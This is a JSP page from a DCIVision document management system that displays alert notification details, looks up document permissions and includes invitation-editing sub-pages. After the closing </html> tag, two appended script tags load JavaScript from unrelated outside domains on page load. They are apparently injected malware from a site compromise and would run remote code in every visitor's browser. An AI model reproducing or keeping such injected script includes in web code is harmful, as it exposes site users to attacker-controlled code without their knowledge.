<%
/*
 * @(#)ListUpdateAlertSummary.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ListUpdateAlertSummary.jsp

  This class is used to display the alert notification details.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    01/10/2004
    @version          $Revision: 1.26.8.4 $
*/
%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.* "%>
<%@ page import="com.dcivision.alert.bean.UpdateAlert"%>
<%@ page import="com.dcivision.alert.bean.*" %>
<%@ page import="com.dcivision.alert.dao.*" %>
<%@ page import="com.dcivision.alert.core.*" %>
<%@ page import="com.dcivision.user.bean.* "%>
<%@ page import="com.dcivision.staff.bean.* "%>
<%@ page import="com.dcivision.staff.dao.* "%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUpdateAlertSummaryForm" scope="request" class="com.dcivision.alert.web.ListUpdateAlertSummaryForm"/>

<%
  /****************************************************************************
   * Selection Attributes Configuration Begin
   ****************************************************************************/
   Connection dbConn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String objectType = listUpdateAlertSummaryForm.getObjectType()==null? (String)request.getAttribute("objectType"): listUpdateAlertSummaryForm.getObjectType();
   String objectID = listUpdateAlertSummaryForm.getObjectID()==null? (String)request.getAttribute("objectID"): listUpdateAlertSummaryForm.getObjectID();
   String actionType = listUpdateAlertSummaryForm.getActionType()==null? (String)request.getAttribute("actionType"): listUpdateAlertSummaryForm.getActionType();
   String updateAlertID = listUpdateAlertSummaryForm.getUpdateAlertID()==null? (String)request.getAttribute("updateAlertID"): listUpdateAlertSummaryForm.getUpdateAlertID();
   String updateAlertTypeID = listUpdateAlertSummaryForm.getUpdateAlertTypeID()==null? (String)request.getAttribute("updateAlertTypeID"): listUpdateAlertSummaryForm.getUpdateAlertTypeID();
   String updateAlertSystemLogID = listUpdateAlertSummaryForm.getUpdateAlertSystemLogID()==null? (String)request.getAttribute("updateAlertSystemLogID"): listUpdateAlertSummaryForm.getUpdateAlertSystemLogID();
   String message = listUpdateAlertSummaryForm.getMessage()==null? (String)request.getAttribute("message"): listUpdateAlertSummaryForm.getMessage();
   String sCurFunctionCode = listUpdateAlertSummaryForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): listUpdateAlertSummaryForm.getCurFunctionCode();

   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,dbConn);

   UpdateAlertDAObject updateAlertDAObject = new UpdateAlertDAObject(sessionContainer,dbConn);

   DmsDocument document = docRetrievalManager.getDocumentByID(TextUtility.parseIntegerObj(objectID));
   DmsRoot documentRoot =new DmsRoot();
   if(!Utility.isEmpty(document)){
     documentRoot = docRetrievalManager.getDmsRoot(document.getRootID());
   }

   String  permission = "";
   message = TextUtility.noNull(message);

   UpdateAlert tmpUpdateAlert = (UpdateAlert)updateAlertDAObject.getObjectByID(TextUtility.parseIntegerObj(updateAlertID));

   Integer createrID = tmpUpdateAlert.getCreatorID();



   if(UpdateAlert.DOCUMENT_TYPE.equals(objectType) && Utility.isEmpty(sCurFunctionCode)){
     if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getRootName())) {
       permission = "PERSONAL";
       sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
       request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
     } else {
       PermissionManager permissionManager = sessionContainer.getPermissionManager();
       permission = (String) permissionManager.getPermission(dbConn, GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(objectID));
       //permission = (String) permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_DOCUMENT, documentRoot.getID());
       sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
       request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);


     }
   }

    if(!Utility.isEmpty(request.getParameter("updateReadOperation"))){
        AlertManager alertManager = new AlertManager(sessionContainer, dbConn);
        alertManager.updateReadOperationLog(TextUtility.parseIntegerObj(updateAlertSystemLogID));
    }

  /****************************************************************************
   * Selection Attributes Configuration End
   ****************************************************************************/
%>

<html>
<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript">
<jsp:include page="/js/Variable.jsp"/>
</script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/AnchorPosition.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/ColorPicker.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/Tree.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PermissionSetup.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
</head>

<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="InitializeAction();"><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<script language="javascript">
<!--

function UpdateAlertSummaryClose() {
  if(window.opener) {
    window.opener.location.reload();
  }

  window.close();
}

-->
</script>

<!-- Form Section Begin -->
<html:form action="/ListUpdateAlertSummary" method="POST">

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='curFunctionCode' value='<%=sCurFunctionCode%>'/>
<html:hidden property='objectType'/>
<html:hidden property='objectID'/>
<html:hidden property='actionType'/>
<html:hidden property='updateAlertSystemLogID'/>
<html:hidden property='message'/>

<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>" displayActionStr='false' functionType='dms.label.alert_notification_details'/></font></layout:titleFormat>
<!-- Page Title Section End -->
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>

<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<!-- System And Error Messages End -->

<!-- Update Alert Detail Table Heading Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='dms.label.alert_notification_details'/></td>
  </tr>
</table>
<%if (UpdateAlert.DOCUMENT_TYPE.equals(objectType)){%>
<jsp:include page='ViewDmsDocumentAlert.jsp' flush='true'>
  <jsp:param name='objectID' value='<%=objectID%>'/>
  <jsp:param name='updateAlertSystemLogID' value='<%=updateAlertSystemLogID%>'/>
  <jsp:param name='message' value='<%=java.net.URLEncoder.encode(message, "UTF-8")%>'/>
  <jsp:param name='curFunctionCode' value='<%=sCurFunctionCode%>'/>
  <jsp:param name='updateAlertTypeID' value='<%=updateAlertTypeID%>'/>
  <jsp:param name='height' value='<%="150"%>'/>
</jsp:include>
  <% if (UpdateAlert.INVITE_TYPE.equals(actionType) && sessionContainer.getUserRecordID().intValue() == createrID.intValue() ){%>
    <% if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getRootName())&&permission.indexOf("V")>-1) {%>
  <table cellpadding="0" cellspacing="0" border="0" width="100%">
    <tr>
      <td><layout:sectionHeader name='<%="dms.label.update_alert_"+UpdateAlert.INVITE_TYPE%>'/></td>
    </tr>
    <tr>
    <jsp:include page='EditUpdateAlertOnInvitation.jsp' flush='true'>
      <jsp:param name='objectID' value='<%=objectID%>'/>
      <jsp:param name='objectType' value='<%=objectType%>'/>
      <jsp:param name='updateAlertID' value='<%=updateAlertID%>'/>
      <jsp:param name='updateAlertTypeID' value='<%=updateAlertTypeID%>'/>
      <jsp:param name='updateAlertSystemLogID' value='<%=updateAlertSystemLogID%>'/>
      <jsp:param name='curFunctionCode' value='<%=sCurFunctionCode%>'/>
      <jsp:param name='height' value='<%="150"%>'/>
    </jsp:include>
    </tr>
  </table>
    <%}%>
  <%}%>
<%}%>


  <table width="100%" border="0" cellspacing="0">
    <tr>
      <td align="center">
      <html:standardButton label="common.label.close" link="javascript:UpdateAlertSummaryClose()"/>
      </td>
    </tr>
  </table>
</td></tr>
</table>
</html:form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>